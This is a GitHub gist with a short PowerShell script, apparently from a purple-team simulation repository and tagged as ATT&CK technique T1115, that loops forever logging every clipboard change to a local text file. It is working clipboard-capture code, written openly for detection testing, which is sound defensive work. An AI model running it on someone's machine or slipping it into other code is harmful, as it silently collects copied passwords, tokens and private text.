Created
January 5, 2023 21:11
-
-
Save mthcht/f4485ab978b235a7d19c23a008900bb7 to your computer and use it in GitHub Desktop.
Simple powershell script loop saving all clipboard content
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
T1115 - Clipboard Data | |
Script from Purpleteam repo https://github.com/mthcht/Purpleteam/blob/main/Simulation/Windows/System/get_clipboard_content_loop.ps1 | |
Save Clipboard Data | |
#> | |
# Get clipboard content | |
$clipboard = Get-Clipboard | |
$date = Get-Date | |
$currentPath = (Get-Location).Path | |
# Create clipboard.txt file if it does not exist | |
if(-not (Test-Path -Path "$currentPath\clipboard.txt")) | |
{ | |
New-Item -Path "$currentPath\clipboard.txt" -ItemType File | |
} | |
# Loop forever to check for clipboard changes | |
while ($true) | |
{ | |
if ($clipboard -ne (Get-Clipboard)) | |
{ | |
# Store new clipboard content | |
$clipboard = Get-Clipboard | |
$date = Get-Date | |
# Append content to clipboard.txt | |
$content = "$date : $clipboard" | |
Add-Content -Value $content -Path "$currentPath\clipboard.txt" | |
} | |
Start-Sleep -Seconds 1 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment